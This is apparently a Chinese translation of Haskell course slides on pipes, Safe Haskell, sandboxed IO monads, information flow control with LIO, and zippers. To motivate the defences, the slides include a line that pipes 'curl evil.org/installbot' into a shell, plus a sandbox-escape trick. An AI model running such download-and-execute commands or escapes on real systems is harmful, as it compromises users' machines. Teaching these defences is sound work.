await >~ f = f -- id >>> f = f f >~ await = f -- f >>> id = f

问题？

使用`(>->)`混合`Producer`和`Consumer`

(>->) :: Producer a IO r -> Consumer a IO r -> Effect IO r

main :: IO () main = runEffect (stdinLn >-> numbered)

$ ./example Hello<Enter> 0: Hello CS240H<Enter> 1: CS240 <Ctrl-D> $

`Pipe`

data Pipe a b m r = Await (a -> Pipe a b m r ) | Yield b (Pipe a b m r) | M (m (Pipe a b m r)) | Return r await :: Pipe a b IO a yield :: b -> Pipe a b IO ()

take :: Int -> Pipe a a IO () take n | n <= 0 = lift (putStrLn "You shall not pass!") | otherwise = do a <- await yield a take (n - 1)

import Control.Monad (replicateM_) take n = do replicateM_ n (await >>= yield) lift (putStrLn "You shall not pass!")

示例

>>> runEffect (stdinLn >-> take 2 >-> numbered) Hello<Enter> 0: Hello CS240H<Enter> 1: CS240H You shall not pass!

行为切换

import Control.Monad (forever) -- forever m = m >> forever m cat :: Pipe a a IO r cat = forever $ do a <- await yield a customerService :: Pipe String String IO () customerService = do yield "Hello" take 10 yield "Could you please hold for one second?" cat

类型是什么？- 第 1 部分

怎么回事？

lift :: IO r -> Producer a IO r lift :: IO r -> Consumer a IO r lift :: IO r -> Effect IO r

await :: Consumer a m a await :: Pipe a b m a

yield :: b -> Producer b m () yield :: b -> Pipe a b m ()

类型是什么？- 第 2 部分

(>->) :: Producer a IO r -> Pipe a b IO r -> Producer b IO r (>->) :: Pipe a b IO r -> Consumer b IO r -> Consumer a IO r (>->) :: Pipe a b IO r -> Pipe b c IO r -> Pipe a c IO r

多态性

Consumer是Pipe的特例

type Consumer a = Pipe a Void

Producer基本上是Pipe的特例

type Producer b = Pipe () b -- White lie

这是“参数多态性”（即泛型）
这不是特设多态（即类型类）

`(>->)`和`cat`形成一个`Category`

(>->) :: Pipe a b IO r -- (>>>) :: cat a b -> Pipe b c IO r -- -> cat b c -> Pipe a c IO r -- -> cat a c cat :: Pipe a a IO r -- id :: cat a a

结合性：

(f >-> g) >-> h = f >-> (g >-> h) -- (f >>> g) >>> h = f >>> (g >> h)

身份：

cat >-> f = f -- id >>> f = f f >-> cat = f -- f >>> id = f

受范畴论启发的 API

组合	身份
`(>=>)`	`return`
`(~>)`	`yield`
`(>~)`	`await`
`(>->)`	`cat`

这只是个开始：

(f >=> g) ~> h = (f ~> h) >=> (g ~> h) -- (x + y) * z = (x * z) + (y * z) return ~> h = return -- 0 * z = 0

目标：范畴语义

结论

可组合性使软件架构保持扁平
少量理论可以走很长的路

练习 #1

实现takeWhile

import Pipes import Pipes.Prelude (stdinLn, stdoutLn) import Prelude hiding (takeWhile) takeWhile :: Monad m => (a -> Bool) -> Pipe a a m () takeWhile keep = ??? main = runEffect (stdinLn >-> takeWhile (/= "quit") >-> stdoutLn)

>>> main Hello<Enter> Hello CS240H<Enter> CS240H quit<Enter> >>>

解决方案 #1

import Pipes import Pipes.Prelude (stdinLn, stdoutLn) import Prelude hiding (takeWhile) takeWhile :: Monad m => (a -> Bool) -> Pipe a a m () takeWhile keep = do a <- await if keep a then do yield a takeWhile keep else return () main = runEffect (stdinLn >-> takeWhile (/= "quit") >-> stdoutLn)

练习 #2

实现map

import Pipes import Pipes.Prelude (stdinLn, stdoutLn) import Prelude hiding (map) map :: Monad m => (a -> b) -> Pipe a b m () map f = ??? main = runEffect (stdinLn >-> map (++ "!") >-> stdoutLn)

>>> main Hello<Enter> Hello! CS240H<Enter> CS240H! ...

解决方案 #2

import Pipes import Pipes.Prelude (stdinLn, stdoutLn) import Prelude hiding (map) map :: Monad m => (a -> b) -> Pipe a b m () map f = for cat (yield . f) main = runEffect (stdinLn >-> map (++ "!") >-> stdoutLn)

cat = forever $ do a <- await yield a for cat (yield . f) = forever $ do a <- await (yield . f) a = forever $ do a <- await yield (f a)

练习 #3

mystery是做什么的？

import Control.Monad (replicateM_) import Pipes mystery :: Monad m => Int -> Pipe a a m r mystery n = do replicateM_ n await cat

解决方案 #3

import Control.Monad (replicateM_) import Pipes drop :: Monad m => Int -> Pipe a a m r drop n = do replicateM_ n await cat

>>> runEffect (stdinLn >-> drop 2 >-> stdoutLn) A<Enter> B<Enter> C<Enter> C D<Enter> D ...

练习 #4

mystery是做什么的？

import Pipes mystery :: Monad m => Producer String m r mystery = return "y" >~ cat

解决方案 #4

import Pipes yes :: Monad m => Producer String m r yes = return "y" >~ cat

练习 #5

实现grep

-- grep.hs import Data.List (isInfixOf) import Pipes import qualified Pipes.Prelude as Pipes -- Use: hackage.haskell.org/package/pipes grep :: Monad m => String -> Pipe String String m r grep str = ??? main = runEffect (Pipes.stdinLn >-> grep "import" >-> Pipes.stdoutLn)

$ ./grep < grep.hs import Pipes import qualified Pipes.Prelude as Pipes $

解决方案 #5

-- grep.hs import Data.List (isInfixOf) import Pipes import qualified Pipes.Prelude as Pipes grep :: Monad m => String -> Pipe String String m r grep str = Pipes.filter (str `isInfixOf`) main = runEffect (Pipes.stdinLn >-> grep "import" >-> Pipes.stdoutLn)

不受信任的代码

假设你想在 Haskell 应用程序中合并不受信任的代码。
例如：一些第三方翻译软件
- 你建立了一个 Web 服务器。
- 想要在每个网页上添加一个“翻译为猪拉丁语”的按钮
- 使用此函数下载一些随机代码。
```
toPigLatin :: L.ByteString -> L.ByteString
```
如果你能信任类型（没有IO），这将是安全的运行
- 最坏的情况是，用户在网页上看到了乱码文本。

然而，如果你有？

toPigLatin = unsafePerformIO $ do system "curl evil.org/installbot | sh" return "Ia owna ouya"

安全的 Haskell

从 GHC 7.2 开始，-XSafe选项启用��全的 Haskell
- 由我们自己的 CA，David Terei 提供
安全的 Haskell 禁止导入任何不安全的模块。
- 例如，不能导入System.IO.Unsafe，因此不能调用unsafePerformIO。
安全导入（通过-XUnsafe启用）要求导入是安全的。
```
import safe PigLatin (toPigLatin)
```
- 上述应该保证toPigLatin不调用不安全的函数。

但等等… toPigLatin不是使用 ByteString 吗？

head :: {- Lazy -} ByteString -> Word8 head Empty = errorEmptyList "head" head (Chunk c _) = S.unsafeHead c unsafeHead :: {- Strict -} ByteString -> Word8 unsafeHead (PS x s l) = assert (l > 0) $ inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s

安全与可信赖

编译为-XSafe的模块只能导入安全模块。
- 就好像所有导入都隐含具有safe关键字一样。
但有两种安全模块
1. 编译器验证为安全的模块，编译-XSafe。
2. 作者断言的模块，编译为-XTrustworthy
因此，像Data.ByteString这样的模块可以编译为-XTrustworthy
- 将不安全的函数放在单独的Data.ByteString.Unsafe模块中。
- 断言Data.ByteString的导出符号不能被不安全地使用，即使模块内部使用不安全函数
当然，可能会或可能不会信任模块作者。
- 可以根据每个包的情况指定是否遵守-XTrustworthy。
- 标志-fpackage-trust启用了这种每个包的信任
- 使用标志，-trust Pkg，-distrust Pkg，-distrust-all-packages。
- 还可以使用ghc-pkg为一个包设置默认值

如果不受信任的代码需要执行 IO 怎么办？

假设你想要翻译成一种真实语言。
- 通常需要大量数据集。
- 不受信任的代码至少需要执行文件 IO。
- 或者可能最容易将文本发送到网络上，例如 Google 翻译。
想法：使用受限制的IO Monad，RIO
- 不受信任的第三方实现了googleTranslate函数。
```
googleTranslate :: Language -> L.ByteString -> RIO L.ByteString
```
- 但是使用RIO Monad，而不是IO
- 实现RIO函数以访问网络、文件系统。
- 使函数拒绝危险操作
- 可以通过操作导入来使用相同名称和端口IO代码转换为RIO。

例如：假设的`RIO` Monad

{-# LANGUAGE Trustworthy #-} module RIO (RIO(), runRIO, RIO.readFile) where -- Notice that symbol UnsafeRIO is not exported from this module! newtype RIO a = UnsafeRIO (IO a) runRIO :: RIO a -> IO a runRIO (UnsafeRIO io) = io instance Monad RIO where ... -- Returns True iff access is allowed to file name pathOK :: FilePath -> IO Bool pathOK file = -- policy, e.g., only allow files in /tmp readFile :: FilePath -> RIO String readFile file = UnsafeRIO $ do ok <- pathOK file if ok then Prelude.readFile file else return ""

注意newtype的使用 - RIO在运行时与IO相同。
- 任何人都可以使用runRIO将RIO操作转换为IO操作。
- 但是不能从IO创建RIO操作而不使用UnsafeRIO。

练习：实现`RIO` Monad 实例。

newtype RIO a = UnsafeRIO (IO a) runRIO :: RIO a -> IO a runRIO (UnsafeRIO io) = io

起始代码：wget cs240h.stanford.edu/RIO.hs

GHCi, version 7.8.2: http://www.haskell.org/ghc/ :? for help ... *RIO> writeFile "/tmp/hello" "Hello, world\n" *RIO> runRIO $ RIO.readFile "/tmp/hello" "Hello, world\n" *RIO> runRIO $ RIO.readFile "/etc/passwd" "" *RIO>

奖励：以下runRIO的替代定义有什么问题？

newtype RIO a = UnsafeRIO { runRIO :: IO a }

解决方案

newtype RIO a = UnsafeRIO (IO a)

Monad 解决方案：

instance Monad RIO where return = UnsafeRIO . return m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k fail = UnsafeRIO . fail

奖励解决方案：
- 问题在于选择器可以用于更新状态。
- 导出runRIO等同于导出UnsafeRIO。
```
badRIO :: IO a -> RIO a badRIO io = (fail "ha ha") { runRIO = io }
```
- 可以从RIO内执行任意IO操作：
```
*Main> runRIO $ badRIO $ putStrLn "gotcha" gotcha
```

RIO 的示例策略

只在某些沙盒子目录下读写文件
- 保护大部分文件系统免受不受信任的代码的影响
不允许执行其他程序
- 将逃离RIO限制
只允许连接到端口 80，并且只能连接到已知服务器
- 不希望不受信任的代码发送垃圾邮件，攻击 mysql 等
不允许访问设备
- 麦克风，摄像头，扬声器等
类似于适用于浏览器中的 Java/JavaScript 的策略

为什么 RIO 不够

如果网站包含私人数据，例如电子邮件，怎么办？
恶意googleTranslate函数的攻击：
- 在/sandbox下保存私人电子邮件的副本（允许）
- 当要求翻译特殊字符串时，返回存储的电子邮件
- 攻击者向自己发送带有特殊字符串的电子邮件以读取存储的电子邮件
另一个攻击
- 向攻击者自己的网站发送查询，而不是 Google
问题：确实需要跟踪哪些信息是敏感的
- 可以通过网络发送公共数据
- 不可以发送电子邮件（或者可能只能发送到特定的 Google URL）
- 可以写文件，但必须跟踪哪些文件包含谁的电子邮件
解决方案：分散式信息流控制（DIFC）

什么是 DIFC？

IFC 起源于军事应用和机密数据
系统中的每个数据都有一个标签
每个进程/线程都有一个标签
标签部分由 ⊑ （“可以流向”）排序
示例：Emacs（标记为L[E]）访问文件（标记为L[F]）

什么是 DIFC？

IFC 起源于军事应用和机密数据
系统中的每个数据都有一个标签
每个进程/线程都有一个标签
标签部分由 ⊑ （“可以流向”）排序
示例：Emacs（标记为L[E]）访问文件（标记为L[F]）
- 文件读取？信息从文件流向 emacs。系统要求L[F] ⊑ L[E]。

什么是 DIFC？

IFC 起源于军事应用和机密数据
系统中的每个数据都有一个标签
每个进程/线程都有一个标签
标签部分由 ⊑ （“可以流向”）排序
示例：Emacs（标记为L[E]）访问文件（标记为L[F]）
- 文件读取？信息从文件流向 emacs。系统要求L[F] ⊑ L[E]。
- 文件写入？信息双向流动。系统强制执行L[F] ⊑ L[E]和L[E] ⊑ L[F]。

标签是传递的

⊑ 是一个传递关系 - 这样更容易推理安全性
示例：标记文件，使其无法流向互联网
- 策略不受其他软件的影响

标签是传递的

⊑ 是一个传递关系 - 这样更容易推理安全性
示例：标记文件，使其无法流向互联网
- 策略不受其他软件的影响
假设一个有错误的应用程序读取文件（例如，桌面搜索）。

标签是传递的。

⊑ 是一个传递关系 - 这样更容易推理安全性。
例如：标记文件，使其无法流向互联网。
- 策略不受其他软件的影响。
假设一个有错误的应用程序读取文件（例如，桌面搜索）。
- 标记为L[bug]的进程读取文件，因此必须满足L[F] ⊑ L[bug]。
- 但是L[F] ⊑ L[bug] ∧ L[bug] ⊑ L[net] ⇒ L[F] ⊑ L[net]，因此L[bug] ! ⊑ L[net]。

标签是传递的。

⊑ 是一个传递关系 - 这样更容易推理安全性。
例如：标记文件，使其无法流向互联网。
- 策略不受其他软件的影响。
相反，任何可以写入网络的应用程序都无法读取文件。

标签形成一个格。

考虑两个用户，A和B。
- 公共数据标签L[∅]，A的私有数据标签L[A]，B的私有数据标签L[B]。
如果在单个文档中混合A和B的私有数据会发生什么？
- A和B都应该关注这样一个文件的发布。
- 至少需要一个标签，其限制性至少与L[A]和L[B]一样严格。
- 使用L[A]和L[B]的最小上界（也称为join），写作L[A] ⊔ L[B]。

DIFC 是Decentralized。

每个进程都有一组特权。
行使特权p会改变标签要求。
- L[F] ⊑ [p] L[proc]以读取，并且另外L[proc] ⊑ [p] L[F]以写入文件。
- ⊑ [p]（``可以在特权p下流动''）比 ⊑更宽松。
想法：设置标签，以便知道谁具有相关特权。

示例特权。

再次考虑简单的两用户格。
让a表示用户A的特权，b表示用户B的特权。
显然L[A] ⊑ [a] L[∅]和L[B] ⊑ [b] L[∅]。
- 用户应该能够公开或解密自己的私有数据。
用户还应该能够部分解密数据。
- 即，L[A**B] ⊑ [a] L[B]和L[A**B] ⊑ [b] L[A]。

示例特权。

行使特权a实际上意味着：
- L[A]变得等同于L[∅]。
- L[A]B变得等同于L[B]。

`Sec`单子[Russo]，[Russo]。

让我们在 Haskell 的类型系统中编码一个非常简单的两点格。

让类型H表示秘密（“高”）数据，L表示公共（“低”）数据。

{-# LANGUAGE Unsafe #-} Module Sec where data L = Lpriv data H = Hpriv

类型表示保密级别，构造函数表示特权。

{-# LANGUAGE Trustworthy #-} Module Sec.Safe (module Sec) where import Sec (L, H, Sec, sec, open, up)

让我们还（在模块Sec中）在类型系统中表示格（L ⊑ H）。

class Flows sl sh where instance Flows L L instance Flows L H instance Flows H H -- Notice no instance for Flows H L

`Sec`单子（续）

让我们通过将模块Sec添加到单子中来保护秘密值。

定义两个单子，Sec H用于高数据，Sec L用于低数据。

newtype Sec s a = MkSec a instance Monad (Sec s) where return x = MkSec x MkSec a >>= k = k a

允许任何人为值设置标签，但需要特权才能取消标签

label :: a -> Sec s a label x = MkSec x unlabel :: Sec s a -> s -> a unlabel (MkSec a) s = s `seq` a -- s (H or L) acts like key

注意seq调用，确保“unlabel undefined secval”会崩溃
允许根据 ⊑ 关系重新标记数据

relabel :: (Flows lin lout) => Sec lin a -> Sec lout a relabel (MkSec val) = MkSec val

应用`Sec`单子

不受信任的代码只能在Sec单子中访问敏感数据

可能的策略：

标记为Sec L的数据可以发送到网络
标记为Sec H的数据只能发送到 Google
通过提供特定受信任的函数实现

queryGoogle :: Sec H L.ByteString -> IO (Sec H L.ByteString) queryGoogle labeledQuery = do let query = unlabel Hpriv labeledQuery -- code is privileged, ... -- so have Hpriv

这不是一个非常令人满意的解决方案
- 查询 Google 的决定不能依赖于数据
- 所以我们并没有真正获得单子的全部好处（更像Applicative）

`IO` 和 `Sec`

如果我们将Sec和IO结合会怎样？

untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)

运行这个计算是安全的吗？

`IO` 和 `Sec`

如果我们将Sec和IO结合会怎样？

untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)

运行这个计算是安全的吗？不！

untrustedTranslate secbs = do bs <- secbs return $ do writeFile "PublicFile" bs -- oops, pwned {- query Google for translation -}

让我们在SecIO单子中结合RIO和Sec的想法

newtype SecIO s a = MkSecIO (IO (Sec s a)) instance Monad (SecIO s) where return x = MkSecIO (return (return x)) MkSecIO m >>= k = MkSecIO $ do MkSec a <- m let MkSecIO m' = k a m' run :: SecIO s a -> IO (Sec s a) run (MkSecIO m) = m

`SecIO` 单子

允许在SecIO单子中访问Sec值：

value :: Sec s a -> SecIO s a value sa = MkSecIO (return sa)

可以通过在Sec中包装来自SecIO L的高值返回：
```
plug :: Less sl sh => SecIO sh a -> SecIO sl (Sec sh a)
```

如何表示文件（类似于IORef等）？

-- Must encode level of file in type, path of file in value type File s = SecFilePath String readFileSecIO :: File s -> SecIO s' (Sec s String) writeFileSecIO :: File s -> String -> SecIO s ()

`SecIO` 翻译器

仍然需要特权函数
```
queryGoogle :: Sec H L.ByteString -> SecIO H L.ByteString
```
- 代表 Google 受信任高数据的事实
- 有道理需要实现这个来编码策略
现在按以下方式实现不受信任的代码
```
untrustedTranslate :: Sec H L.ByteString -> SecIO H L.ByteString
```
- 函数可以调用queryGoogle，但不能将数据发送到其他地方
SecIO 大部分强制在编译时进行
问题：对于电子邮件，真的希望为每个用户单独设置标签
- 用户动态添加，因此很难用Flows编码这一点…

LIO 单子[Stefan]

cabal install lio
想法：让我们在运行时动态跟踪标签
- 跟踪当前标签和最大标签或许可的后门
- 为每个线程关联一个LIOState：
```
-- Note type parameter l just specifies the label type data LIOState l = LIOState { lioLabel, lioClearance :: !l }
```

现在制作类似RIO的单子，禁止原始IO

{-# LANGUAGE Unsafe #-} newtype LIO l a = LIOTCB (IORef (LIOState l) -> IO a) instance Monad (LIO l) where return = LIOTCB . const . return (LIOTCB ma) >>= k = LIOTCB $ \s -> do a <- ma s case k a of LIOTCB mb -> mb s

所以最初，在RIO单子中不能进行任何 IO

用于特权代码的后门

想法：可信代码用标签检查包装 IO 操作

需要一些 IO 的后门只为可信代码：

{-# LANGUAGE Unsafe #-} ioTCB :: IO a -> LIO l a -- back door for privileged code ioTCB = LIOTCB . const -- to execute arbitrary IO actions

也很方便能够访问状态：

getLIOStateTCB :: LIO l (LIOState l) getLIOStateTCB = LIOTCB readIORef putLIOStateTCB :: LIOState l -> LIO l () putLIOStateTCB s = LIOTCB $ \sp -> writeIORef sp $! s modifyLIOStateTCB :: (LIOState l -> LIOState l) -> LIO l () modifyLIOStateTCB = getLIOStateTCB >>= putLIOStateTCB . f

注意重要的约定：以…TCB结尾的符号永远不可用于安全模块

在 Haskell 中实现标签

实现标签作为值是直接的：

Module LIO.Label class (Eq l, Show l, Read l, Typeable l) => Label l where  lub :: l -> l -> l  glb :: l -> l -> l infixl 5 `lub` `glb`  canFlowTo :: l -> l -> Bool infix 4 `canFlowTo`

特权怎么样？

想知道一个特权是否包含另一个特权

class (Typeable p, Show p) => SpeaksFor p where  speaksFor :: p -> p -> Bool

特权如何影响canFlowTo关系

class (Label l, SpeaksFor p) => PrivDesc l p where  downgradeP :: p -> l -> l -- compute "lowest" equivalent label  canFlowToP :: p -> l -> l -> Bool canFlowToP p l1 l2 = downgradeP p l1 `canFlowTo` l2

练习：实现一个`Label`实例

data Level = Public | Secret | TopSecret data Compartment = Nuclear | Crypto data MilLabel = MilLabel { level :: Level , compartments :: Set Compartment }

wget cs240h.stanford.edu/millattice.hs
奖励：编写一些快速检查属性

解决方案

标签实例

instance Label MilLabel where lub a b = MilLabel (max (level a) (level b)) (Set.union (compartments a) (compartments b)) glb a b = MilLabel (min (level a) (level b)) (Set.intersection (compartments a) (compartments b)) canFlowTo a b = level a <= level b && compartments a `Set.isSubsetOf` compartments b

一些快速检查实例

prop_irreflexive :: MilLabel -> MilLabel -> Bool prop_irreflexive l1 l2 = if l1 == l2 then l1 `canFlowTo` l2 && l2 `canFlowTo` l1 else not (l1 `canFlowTo` l2 && l2 `canFlowTo` l1) prop_lub :: MilLabel -> MilLabel -> Bool prop_lub l1 l2 = l1 `canFlowTo` l3 && l2 `canFlowTo` l3 where l3 = l1 `lub` l2

调整和检查标签

在读取任何标记为newl的数据之前，调整/检查LIOState

taint :: Label l => l -> LIO l () taint newl = do LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB let l' = l `lub` newl unless (l' `canFlowTo` c) $ labelError "taint" [newl] modifyLIOStateTCB $ \s -> s { lioLabel = l' }

在写入任何标记为newl的数据之前，调整/检查LIOState

guardWrite :: Label l => l -> LIO l () guardWrite newl = do LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB unless (canFlowTo l newl && canFlowTo newl c) $ labelError "guardWrite" [newl] withContext "guardWrite" $ taint newl

特权 vs. 特权描述

希望能够在任何上下文中命名/检查特权

通过在受保护的newtype中包装体现特权

newtype Priv a = PrivTCB a deriving (Show, Eq, Typeable) instance Monoid p => Monoid (Priv p) where mempty = PrivTCB mempty mappend (PrivTCB m1) (PrivTCB m2) = PrivTCB $ m1 `mappend` m2 privDesc :: Priv a -> a privDesc (PrivTCB a) = a

给定一个Priv，可以通过privDesc获取描述，但反之则不行

如何首先创建特权？
- 在程序开始时在IO中生成它们，然后调用LIO
```
privInit :: p -> IO (Priv p) privInit p = return $ PrivTCB p
```
- 记住，如果坏人可以执行任意的IO代码，游戏就结束了

使用`Priv`对象

许多 LIO 函数都有…P变体，需要特权

例如，将对taint的调用替换为对taintP的调用：

taintP :: PrivDesc l p => Priv p -> l -> LIO l () taintP p newl = do LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB let l' = l `lub` downgradeP p newl unless (l' `canFlowTo` c) $ labelErrorP "taintP" p [newl] modifyLIOStateTCB $ \s -> s { lioLabel = l' }

还可以委托权限、将它们包装在闭包中，或通过“门控”闭包来检查它们

delegate :: SpeaksFor p => Priv p -> p -> Priv p newtype Gate p a = GateTCB (p -> a) deriving Typeable gate :: (p -> a) -> Gate p a gate = GateTCB callGate :: Gate p a -> Priv p -> a callGate (GateTCB g) = g . privDesc

包装 IO 抽象

许多 LIO 抽象只是 LIO 本身再加上一个标签

data LObj label object = LObjTCB !label !object deriving (Typeable)

blessTCB助手使构建 LIO 函数变得容易

通过函数依赖的魔法

{-# LANGUAGE Trustworthy #-} import LIO.TCB.LObj type LMVar l a = LObj l (MVar a) takeLMVar :: Label l => LMVar l a -> LIO l a takeLMVar = blessTCB "takeLMVar" takeMVar tryTakeLMVar :: Label l => LMVar l a -> LIO l (Maybe a) tryTakeLMVar = blessTCB "tryTakeLMVar" tryTakeMVar putLMVar :: Label l => LMVar l a -> a -> LIO l () putLMVar = blessTCB "putLMVar" putMVar

LIO 应用程序

主要应用是Hails网络框架
- 实际上是一个用于创建托管相互不信任应用程序的网络平台的框架
例如：GitStar
- 可能托管私有 git 仓库
- 例如，用于语法高亮代码的功能不能泄露私有源代码
斯坦福正在进行的研究

拉链和镜头

让我们稍微谈谈良好行为的 Haskell 程序。

因此，像以下这样的良好类型但不终止的结构是被禁止的：

loop :: Bool loop = loop wtf :: Bool wtf = undefined crash :: Bool crash = error "fnord"

回到基础知识

我们可以从以下类型构造多少个值？

data Bool = False | True

排序

另一个众所周知的类型：

data Ordering = LT | EQ | GT

显然，我们可以构造三种不同类型的值。

一个零值类型

在 Haskell 2010 中，我们可以创建无法构造任何值的类型：

data Empty

这种类型没有值构造函数（我们不能在其上使用 deriving 语法）。

“为什么？”你可能会问。用类型进行编程时编译。

零、一、二…

所以没什么大不了的，我们可以创建具有零个或多个构造函数的类型：

data Empty

data One = One

data Bool = False | True

添加一些参数

鉴于这些：

data Ordering = LT | EQ | GT data Bool = False | True

这是另一个值得思考的类型。

data A = A Bool | B Ordering

花一分钟计算这个可以有多少个值。我们来做一个快速调查。

抽象 I

现在这个熟悉类型可以有多少个值？

(a,b)

抽象 II

现在这个熟悉类型可以有多少个值？

data Either a b = Left a | Right b

代数 I

为什么我们将这些称为乘积类型？

(a,b,c) data Product a b c = Product a b c

它们可以容纳的值的数量等于：

a × b × c

代数 II

对于和类型的命名也是一样的：

data Sum a b c = A a | B b | C c

它们可以容纳的值的数量等于：

a + b + c

处理嵌套数据

假设我们正在编写一个基准测试工具。我们以 criterion 为例。

测量产生嘈杂的样本。

异常值的影响

我们想要了解样本数据中的异常值如何影响样本均值和标准差。

data OutlierEffect = Unaffected -- ^ Less than 1% effect. | Slight -- ^ Between 1% and 10%. | Moderate -- ^ Between 10% and 50%. | Severe -- ^ Above 50% (i.e. measurements -- are useless).

我们的 OutlierEffect 类型嵌入在另一个携带额外信息的类型中。

data OutlierVariance = OutlierVariance {  ovEffect :: OutlierEffect , ovDescription :: String , ovFraction :: Double }

访问数据很容易

即使有三层嵌套，也很容易在给定 Payload 的情况下访问 OutlierEffect。

effect :: Payload -> OutlierEffect effect = ovEffect . anOutlierVar . sampleAnalysis

这些记录访问器函数很方便！

更新，不那么多

好的，假设我们想要“修改”一个嵌入在 Payload 中的 OutlierEffect。

editEffect :: (OutlierEffect -> OutlierEffect) -> Payload -> Payload editEffect eff payload = payload { sampleAnalysis = analysis { anOutlierVar = variance { ovEffect = eff effect } } } where analysis = sampleAnalysis payload variance = anOutlierVar analysis effect = ovEffect variance

这太可怕了！它几乎看起来不像 Haskell。

这是什么？

我们刚刚看到了 Haskell 的记录更新语法的实际操作。

setAddrZip :: Zip -> Address -> Address setAddrZip zip addr = addr { addrZip = zip }

这个符号意味着：

完全复制记录 addr。
复制时，将 addrZip 字段设置为 zip。

这是一种“编辑”值的方式，保持原始值不变，但不需要我们指定要复制的每个字段。

正如我们所见，这也是一种非常不可组合的技巧。

我们实际想要的是

我们的要求：

访问记录中的字段。
组合访问，以便我们可以检查嵌套记录中的字段。
更新记录中的字段。
组合更新，以便我们可以修改嵌套记录中的字段。

使用 Haskell 的记录语法，我们得到 #1 和 #2，有点像 #3（如果我们眯起眼睛），#4 很可怕。

该怎么办？

假设我们有一对。

(a,b)

我们想编辑它的第二个元素。

editSnd :: (b -> c) -> (a,b) -> (a,c) editSnd f (a,b) = (a, f b)

让我们提到我们对第二个元素感兴趣，专注于它。

编辑第一个元素同样容易。

editFst :: (a -> c) -> (a,b) -> (c,b) editFst f (a,b) = (f a, b)

空位

当编辑一个 tole 时，让我们称要填充的插槽为空位。

这里，空位在第二个位置。

editSnd :: (b -> c) -> (a,b) -> (a,c) editSnd f (a,b) = (a, f b)

而在这里，它在第一个。

editFst :: (a -> c) -> (a,b) -> (c,b) editFst f (a,b) = (f a, b)

计算空位

如果我们从 (a,b) 中去掉 b，那么得到的伪类型有多少个值？

计算洞的数量

如果我们从 (a,b) 中去掉 b，那么得到的伪类型有多少个值？

如果我们从 (a,b) 中去掉 a，会怎样？

计算洞的数量

如果我们从 (a,b) 中去掉 b，那么得到的伪类型有多少个值？

如果我们从 (a,b) 中去掉 a，会怎样？

如果我们想从 (a,b,c) 中删除一些任意字段，我们可以通过类型表示这一点。

data Hole3 a b c = AHole b c | BHole a c | CHole a b

计算洞的数量

我们可以将 (x,x,x) 的值的数量写为 x × x × x，或者 x³。

如果我们在下面的 a、b 和 c 中用 x 替换，那么类型 Hole3 会有多少不同的值？

data Hole3 a b c = AHole b c | BHole a c | CHole a b

计算洞的数量

我们可以将 (x,x,x) 的值的数量写为 x × x × x，或者 x³。

如果我们在下面的 a、b 和 c 中用 x 替换，那么类型 Hole3 会有多少不同的值？

data Hole3 x x x = AHole x x | BHole x x | CHole x x

嗯，那是 3x²。

这是否让你想起了符号微分？

回到对

这里有一种对的洞类型。

data PairHole a b = HoleFst b | HoleSnd a

如果我们从洞中取出一个值，我们需要将其存储在某个地方，以便我们可以处理它。

data PairZipper a b c = PZ c (PairHole a b)

为什么我们有一个额外的类型参数 c？

因此，我们可以选择稍后在洞中存储什么类型的值。

快速练习

请为下面的两个未定义函数提供函数体。

你有一分钟。

data PairHole a b = HoleFst b | HoleSnd a data PairZipper a b c = PZ c (PairHole a b) focusFst :: (a,b) -> PairZipper a b a focusFst = undefined focusSnd :: (a,b) -> PairZipper a b b focusSnd = undefined

骨架：cs240h.scs.stanford.edu/Hole1.hs

我的解决方案

data PairHole a b = HoleFst b | HoleSnd a data PairZipper a b c = PZ c (PairHole a b) focusFst :: (a,b) -> PairZipper a b a focusFst (a,b) = PZ a (HoleFst b) focusSnd :: (a,b) -> PairZipper a b b focusSnd (a,b) = PZ b (HoleSnd a)

这样做的一个好处？

多态性强制只能有一种可能的��现。

逆转换

显然，我们还需要能够从拉链器转换回一对。

unfocusFst :: PairZipper a b a -> (a,b) unfocusFst (PZ a (HoleFst b)) = (a,b) unfocusSnd :: PairZipper a b b -> (a,b) unfocusSnd (PZ b (HoleSnd a)) = (a,b)

访问专注值

现在我们有专注函数来获取一对的第一个或第二个元素，我们可以为我们的拉链器类型编写一个通用访问器函数。

view :: PairZipper a b c -> c view (PZ c _) = c

在 ghci 中尝试：

>>> view (focusFst ("hello",1)) "hello" >>> view (focusSnd ("hello",1)) 1

编辑专注值

这是更有趣的部分。

over :: (c -> c) -> PairZipper a b c -> PairZipper a b c over f (PZ c l) = PZ (f c) l

再次在 ghci 中：

>>> unfocusSnd . over succ . focusSnd $ ("hello",1::Int) ("hello",2)

编辑第二部分

这在 ghci 中会打印什么？

>>> unfocusFst . over length . focusFst $ ("hello",1::Int)

编辑第二部分

这在 ghci 中会打印什么？

>>> unfocusFst . over length . focusFst $ ("hello",1::Int)

这是一个类型错误！over 不够多态。

不好的版本：

over :: (c -> c) -> PairZipper a b c -> PairZipper a b c over f (PZ c l) = PZ (f c) l

好版本允许编辑以更改正在编辑的字段的类型：

over :: (c -> d) -> PairZipper a b c -> PairZipper a b d over f (PZ c l) = PZ (f c) l

嗯

这种方法存在问题。

我们必须指定我们在“管道”的两端专注的字段。

这是重复的。

我们能否组合这些，以便我们可以先“focusFst”，然后“focusSnd”以获得另一个拉链器？

不。

将事物粘合在一起

与其保持 focusFst 和 unfocusFst 分开，并手动将它们连接在一起，不如自动管理它们。

data Focused t a b = Focused {  focused :: a , rebuild :: b -> t }

一个 Focused 是一个由以下组成的对：

专注的元素
一个知道如何重建原始值的函数

type Focuser s t a b = s -> Focused t a b

一个 Focuser 是一个接受一个值并给我们一个 Focused 的函数。

为什么这么多态？

回想一下，我们最初的 over 定义不够多态。

我们无法在编辑对时更改第一个元素的类型。

>>> unfocusFst . over length . focusFst $ ("hello",1::Int)

嗯，Focused 和 Focuser 有很多类型参数，以确保这种通用性。

另一个视角

data Focused t a b = Focused {  focused :: a , rebuild :: b -> t }

Focused 实际上表示：

我正在专注于一个 a
我可能会将其类型更改为 b
当我最终完成专注时，我会给你一个t（这是s，每个a替换为b的s）

再看一遍

type Focuser s t a b = s -> Focused t a b

Focuser的“含义”是：

你给我一个s
我将专注于一个a
我可能会将其类型更改为b
